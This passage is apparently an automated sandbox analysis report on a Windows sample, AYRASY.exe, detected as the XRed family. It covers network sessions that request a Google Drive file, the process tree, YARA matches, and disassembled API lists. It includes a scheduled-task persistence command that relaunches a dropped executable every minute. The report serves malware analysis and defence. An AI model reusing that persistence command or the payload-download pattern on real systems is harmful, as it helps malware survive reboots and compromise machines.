2024-12-30 10:24:30 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49868	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:35 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
2024-12-30 10:24:35 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7kehbyELL0W91XsWCbMg9moQ5Wzh-IbfwZp6bVz_HIu12WHEwQX_rE4NWCjY54xl4K Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:35 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kbX6avv9aSR2lRkvvhaC_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:35 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:24:35 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 76 4b 4d 77 4a 54 73 69 69 6f 6c 2d 5f 6c 47 65 54 36 61 4f 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="svKMwJTsiiol-_lGeT6aOw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:24:35 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49867	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:35 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-7nR4tlZ2BFl1LKQRL8Yh_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	05:24:05
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\AYRASY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AYRASY.exe"
Imagebase:	0x400000
File size:	1'750'016 bytes
MD5 hash:	07E25C260C13B82CD867DAEF02255C82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:24:05
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\._cache_AYRASY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_AYRASY.exe"
Imagebase:	0x170000
File size:	978'432 bytes
MD5 hash:	8E44132C27ADC94100C8D8BE5D4AD041
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:24:05
Start date:	30/12/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	27C056CC4DAFB6B3161272E800C85E55
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000003.00000003.2300553454.0000000000750000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:24:07
Start date:	30/12/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0xaf0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	05:24:08
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:24:08
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:24:08
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs
Imagebase:	0x3d0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000007.00000002.3411280080.0000000002D20000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000007.00000002.3411537097.0000000002D78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000007.00000002.3411537097.0000000002D97000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:24:08
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1
Imagebase:	0xb10000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:24:11
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Imagebase:	0x9b0000
File size:	978'432 bytes
MD5 hash:	8E44132C27ADC94100C8D8BE5D4AD041
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:24:18
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windata\YOABSG.exe"
Imagebase:	0x9b0000
File size:	978'432 bytes
MD5 hash:	8E44132C27ADC94100C8D8BE5D4AD041
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:24:26
Start date:	30/12/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	27C056CC4DAFB6B3161272E800C85E55
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:24:28
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 3548
Imagebase:	0x910000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:24:34
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windata\YOABSG.exe"
Imagebase:	0x9b0000
File size:	978'432 bytes
MD5 hash:	8E44132C27ADC94100C8D8BE5D4AD041
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:24:42
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windata\YOABSG.exe"
Imagebase:	0x9b0000
File size:	978'432 bytes
MD5 hash:	8E44132C27ADC94100C8D8BE5D4AD041
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:25:01
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Imagebase:	0x9b0000
File size:	978'432 bytes
MD5 hash:	8E44132C27ADC94100C8D8BE5D4AD041
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:26:00
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Imagebase:	0x9b0000
File size:	978'432 bytes
MD5 hash:	8E44132C27ADC94100C8D8BE5D4AD041
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	44

Executed Functions

Function 0017374E Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 145windowCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 0017376D

Part of subcall function 00174257: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\._cache_AYRASY.exe,00000104,?,00000000,00000001,00000000), ref: 0017428C

IsDebuggerPresent.KERNEL32(?,?), ref: 0017377F
GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\._cache_AYRASY.exe,00000104,?,00231120,C:\Users\user\Desktop\._cache_AYRASY.exe,00231124,?,?), ref: 001737EE

Part of subcall function 001734F3: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 0017352A

SetCurrentDirectoryW.KERNEL32(?), ref: 00173860
MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,00222934,00000010), ref: 001E21C5
SetCurrentDirectoryW.KERNEL32(?,?), ref: 001E21FD
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?), ref: 001E2232
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,0020DAA4), ref: 001E2290
ShellExecuteW.SHELL32(00000000), ref: 001E2297

Part of subcall function 001730A5: GetSysColorBrush.USER32(0000000F), ref: 001730B0
Part of subcall function 001730A5: LoadCursorW.USER32(00000000,00007F00), ref: 001730BF
Part of subcall function 001730A5: LoadIconW.USER32(00000063), ref: 001730D5
Part of subcall function 001730A5: LoadIconW.USER32(000000A4), ref: 001730E7
Part of subcall function 001730A5: LoadIconW.USER32(000000A2), ref: 001730F9
Part of subcall function 001730A5: RegisterClassExW.USER32(?), ref: 00173167

Part of subcall function 00172E9D: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000), ref: 00172ECB
Part of subcall function 00172E9D: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00172EEC
Part of subcall function 00172E9D: ShowWindow.USER32(00000000), ref: 00172F00
Part of subcall function 00172E9D: ShowWindow.USER32(00000000), ref: 00172F09

Part of subcall function 00173598: _memset.LIBCMT ref: 001735BE
Part of subcall function 00173598: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00173667

Strings

This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support., xrefs: 001E21BE
runas, xrefs: 001E228B
"#, xrefs: 0017379D
C:\Users\user\Desktop\._cache_AYRASY.exe, xrefs: 001737B4, 001737E9, 001737FD, 001E2257

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$IconLoadName$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
String ID: C:\Users\user\Desktop\._cache_AYRASY.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas$"#
API String ID: 4253510256-292187363
Opcode ID: ef8e86e1135d595b3fbf0ca2af00cbc546e0f34b2d445475e741ac88f69c3f2a
Instruction ID: 504c646d4c341334c6995a1cfe693d48a161001d2ff9b8f262cee748cc23316a
Opcode Fuzzy Hash: ef8e86e1135d595b3fbf0ca2af00cbc546e0f34b2d445475e741ac88f69c3f2a
Instruction Fuzzy Hash: AA515AB0644284FBCB04ABB0FC4AFFD7B799B26700F108155FB9D92191D7704A95EB62

Function 001D30AD Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001D3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001D2AA6,?,?), ref: 001D3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001D317F

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?), ref: 001D321E
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 001D32B6
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 001D34F5
RegCloseKey.ADVAPI32(00000000), ref: 001D3502

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 18034a19fb3f5c2a23bf2631d8d41b1d29520248e5c00846c690dfbc032d2898
Instruction ID: 4287db88f2e2500d29169e6d71218b96475e8a65d9dc09b004aaa11298efc1b7
Opcode Fuzzy Hash: 18034a19fb3f5c2a23bf2631d8d41b1d29520248e5c00846c690dfbc032d2898
Instruction Fuzzy Hash: 4AE14A71204201AFCB15DF28C995E6ABBF9EF88314F04856DF45ADB2A1DB31EA41CB52

Function 001729C2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151timewindowregistryCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 00172A33
KillTimer.USER32(?,00000001), ref: 00172A5D
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00172A80
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00172A8B
CreatePopupMenu.USER32 ref: 00172A9F
PostQuitMessage.USER32(00000000), ref: 00172AAE

Strings

TaskbarCreated, xrefs: 00172A86

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Timer$ClipboardCreateFormatKillMenuMessageNtdllPopupPostProc_QuitRegisterWindow
String ID: TaskbarCreated
API String ID: 157504867-2362178303
Opcode ID: 46dd93fed49a72190cc8f0f5c6422554ac217446f3b65254584e6653748cae81
Instruction ID: cb210fa72d37c5abb3f92336f6955baa49dfde5f65e812e9a4a206e2d95c98fe
Opcode Fuzzy Hash: 46dd93fed49a72190cc8f0f5c6422554ac217446f3b65254584e6653748cae81
Instruction Fuzzy Hash: 1B414931214746ABDB386F68BC0DBBD36BAF729300F048115F90AD7991DB708CA2D765

Function 0018E47B Relevance: 10.7, APIs: 7, Instructions: 175COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?,00000000), ref: 0018E4A7

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

GetCurrentProcess.KERNEL32(00000000,0020DC28,?,?), ref: 0018E567
GetNativeSystemInfo.KERNEL32(?,0020DC28,?,?), ref: 0018E5BC
FreeLibrary.KERNEL32(00000000,?,?), ref: 0018E5C7
FreeLibrary.KERNEL32(00000000,?,?), ref: 0018E5DA
GetSystemInfo.KERNEL32(?,0020DC28,?,?), ref: 0018E5E4
GetSystemInfo.KERNEL32(?,0020DC28,?,?), ref: 0018E5F0

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion_memmove
String ID:
API String ID: 2717633055-0
Opcode ID: 7336c0534e191edd2fd9fd1740821e2c8693ed833d5c462fd4eb206a18628e1e
Instruction ID: a6bffee5a4c8be6f2c7875a323dadf7bf5a70b6cbde8a4f7eed517361c2616fc
Opcode Fuzzy Hash: 7336c0534e191edd2fd9fd1740821e2c8693ed833d5c462fd4eb206a18628e1e
Instruction Fuzzy Hash: 3861DDB590A2D4CBCF15DF6898C15ED7FA46F2A308F2945D8D8489B20BD734CA48CF66

Function 001731F2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00173202
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000), ref: 00173219
LoadResource.KERNEL32(?,00000000), ref: 001E57D7
SizeofResource.KERNEL32(?,00000000), ref: 001E57EC
LockResource.KERNEL32(?), ref: 001E57FF

Strings

SCRIPT, xrefs: 0017320F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
